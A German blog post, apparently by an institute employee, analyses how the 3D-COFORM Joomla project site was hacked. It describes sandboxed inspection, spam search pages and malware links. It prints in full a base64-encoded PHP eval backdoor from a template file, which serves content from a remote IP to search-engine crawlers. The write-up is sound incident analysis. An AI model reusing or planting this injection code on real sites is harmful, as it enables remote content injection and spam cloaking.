Samstags morges nix zu tun, als sich ein Arbeitskollege (Sebastian) meldet, das Google meint unser IGD Projektseite für das EU Projekt 3D-COFORM sei gehackt und man soll nicht mehr auf die Seite gehen.
Klingt lustig, ich habe keine Ahnung von Webseiten Development aber jede Menge Freizeit [LOL tag] und vor kurzem einen interessanten Artikel in der C't gelesen wie Hacker Webseiten hacken. Also mal anschauen.
[inline:GoogleKannbeschaedingen.png]
[inline:GoogleKannbeschaedingen2.png]
Also erstmal den Webbrowser Opera (die meisten Hacks konzentrieren sich auf Internetexplorer und Firefox so das man mit Opera relativ sicher ist) gestartet.
Um sicher zu gehen, habe ich Opera mit Sandboxie http://www.sandboxie.com in einer Sandbox gestartet, bevor ich mir die Seite mal anschaue und mir womöglich selbst einen Virus einfange.
Sandboxy startet das Programm in einer Sandbox. Sobald das Programm in der Sandbox auf die Platte schreiben oder am System was ändern will, werden diese Zugriffe erstmal in einen Container geleitet. Den kann man sich dann auch mal anschauen und sehen wo Opera was geändert hat. Die Sandbox läßt sich dann nachträglich wieder löschen so das nichts am eigentlich System geändert wird falls der Virus doch Opera anfällt.
Der erste Test beim Aufruf der Seite scheint nichts schlimmes zu tun. Es werden keine wichtigen Dateien an Windows geändert.
Darum mag ich Opera :-D
Die Webseite sieht auch normal aus, kann erstmal nichts ungewöhnliches entdecken. Also mal den Quellcode der Webseite angeschaut und schon das erste sehr merkwürdige gefunden.
[inline:JavascriptIstToll.png]
Das sieht mit doch nicht nach sinnvollem JavaScript Code aus :-D
Aber eins kann man schon sagen. Egal welche Codierung da verwendet wird, er kann eigentlich kaum Informationsgehalt haben, wenn die Zeichen kaum variieren. Wahrscheinlich ein NOP Rutsche vermute ich mal. Bei einer NOP Rutsche kommen oft seitenweise einfach NOP (No operation) ASM Befehle. Solche NOP Rutschen werden oft verwendet wenn man eine Anwendung Daten unterschiebt und einen Stack Overflow produziert. Da man nicht genau vorrausberechnen kann wohin einem der Return mit einem überschriebenen Callstack hinbefördert oder wo genau der eigentliche Code ist den man injiziert hat, überschreibt man möglichst viele Speicherstellen mit NOP und am Ende steht dann der eigentliche Code. Egal an welche Stelle man auf die NOP Rutsche auftrifft, rennt das Programm zielgenau auf den gewünschten Code zu.
Eine große Menge an NOPs würde das ziemlich gleichaussehende Bytechaos erklären, ist aber erstmal nur eine Vermutung.
Ein Suchen in Dateien auf dem Webserver nach diesem Quelltext wird wahrscheinlich nichts bringen da ich vermute das der Javascriptcode dynamisch irgendwo erzeugt wird. Was ich vom C't Artikel noch im Kopf habe ist, das die Jungs gerne den eigentlichen Quellcode mit BASE64 zu verschlüsseln, ihn in der Webseite entschlüsseln lassen und den String der rauskommt mit eval als Javascript Funktion definieren und ausführen.
Also schnell nach eval und base64_decode gesucht und auch sofort interessantes gefunden.
unter Joomla /templates/ja_purify/index.php
<?php
eval(base64_decode("aWYgKHByZWdfbWF0Y2goJy9saXZlfG1zbnx5YWhvb3xHb29nbGV8YXNrfGFvbHxib3R8Z29vZ2xl
LycsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsgDQokZ2V0ID0gImh0dHA6Ly8xODgu
NzIuMjAxLjExL2JvdHMucGhwP2hvc3Q9Ii4kX1NFUlZFUlsnSFRUUF9IT1NUJ107DQppZiAoZnVu
Y3Rpb25fZXhpc3RzKCJjdXJsX2luaXQiKSkgew0KJGMgPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0
b3B0KCRjLCBDVVJMT1BUX1VSTCwgJGdldCk7DQpjdXJsX3NldG9wdCgkYywgQ1VSTE9QVF9SRVRV
Uk5UUkFOU0ZFUiwgdHJ1ZSk7DQokb3V0ID0gY3VybF9leGVjKCRjKTsNCmN1cmxfY2xvc2UoJGMp
Ow0KZWNobyAkb3V0Ow0KfSBlbHNlIHsNCiRvdXQgPSBmaWxlX2dldF9jb250ZW50cygkZ2V0KTsN
CmVjaG8gJG91dDsNCn0NCn0="));
?>
sowie einen ziemlich üblen PHP und Regular Expression Code der den HTTP Aufruf abfängt und auf eine Unterseite von 3D COFORM weiterleiten soll.
--> /components/com_expose/copy_right.php
Um weiter zu machen müßte ich jetzt eine Funktion haben um base64 zu ASCII umzuwandeln. Kümmere ich mich später drum. Erstmal diese Unterseite mal im Browser aufgerufen :-D
Und man siehe da 3D-COFORM hostet eine Suchmaschine für MP3s, Pornos und Illegale Software :-D
[inline:FileSearch_exposed.png]
Gott sei Dank hosten wir immerhin nicht die Files sondern nur Links darauf.
Ich spare mir den Download eines der Files das garantiert einen netten Trojaner enthält und keine Treiber für Windows :-D
Aber spätestens zu dem Zeitpunkt ist absolut sicher das wir gehackt wurden.
Damit wir nicht noch rechtliche Problem kriegen nehme ich die Seite erstmal offline bis Montag.
Trotzdem interessiert mich was man noch so rausfinden kann. Wie zu erwarten ist die ganze Suchmaschinenfake Seite mit 5 MB !!! Links im den aussagekräftigen "exposed" Ordner :-D
[inline:LinksOhneEnde.png]
Ein kurzes Search nach base.txt zeigt dann das der Ordner "exposed" nicht der einzige Ordner ist, der "Suchwebseiten" hostet auf 3D-COFORM.
Alle voll mit Links auf Schadsoftware.
[inline:LinksÜberall.png]
Danach überall zu suchen und auch alle Stellen zu finden in dem böswilliger Code liegt ist, macht keinen Sinn mehr.
Trotzdem reizt es mich mal in die base64_decode javascript Stellen reinzuschauen.
Gott sei dank muss ich Visual Studio dafür nicht noch starten. Im Netz findet man Seiten die decodieren base64 zurück in Text.
z.B.
http://www.opinionatedgeek.com/dotnet/tools/base64decode/
[inline:basedecode.png]
Der Textblock läd also von hddp://188.72.201.11 Files nach die er dann im Browser des Aufrufers ausgibt. Mit höchster Wahrscheinlichkeit sind das dann immer die neusten Exploits.
Interessanterweise ist das allerdings nicht die IP die Google im ersten Screenshot als URL angibt wo die Schadsoftware liegt.
[inline:GooglesSchadsoftwareSpeicher.png]
Deren IP soll angeblich die "76.76.105.205" sein. Also probieren wir es mal andersrum. Wir kodieren die IP in base64 und suchen nach diesem String auf der Webseite.
Der Code wäre in diesem Fall "NzYuNzYuMTA1LjIwNQ=="
Das hat leider nichts gebracht, also versuchen wir mal direkt die URL auf die Google verweist.
Das wäre dann die : gsdgsdgdfgsdg.co.cc
oder in base64: Z3NkZ3NkZ2RmZ3NkZy5jby5jYw==
Auch dieser String findet man nicht auf unserem Server. Vermutlich wird dieser in der CURL heruntergeladenen Datei zu finden sein.
Dazu müßte ich jetzt der Datei nachgehen und den Inhalt auswerten. Was mich allerdings den restlichen Samstag kosten dürfte.
Dafür bin ich jetzt dann doch zu faul.
Ok, das läßt mir jetzt doch keine Ruhe :-D
Hmmm, anscheined werden mit dem Script auch nur Links zu Viagra Seiten nachgeladen.
[inline:Botserver.png]
Auf jedenfall zu dem Zeitpunkt bei dem ich getestet habe. Da der Besitzer des Botserver oder Masterserver selbst entscheiden kann, welchen Code beim Aufruf unserer Seite durch einen User ausgeliefert wird, kann das natürlich auch anderer Code sein.
| Anhang | Größe |
|---|---|
| 135.41 KB | |
| 139.84 KB | |
| 163.46 KB | |
| 171.59 KB | |
| 69.01 KB | |
| 32.75 KB | |
| 176.55 KB | |
| 55.88 KB | |
| 44.9 KB |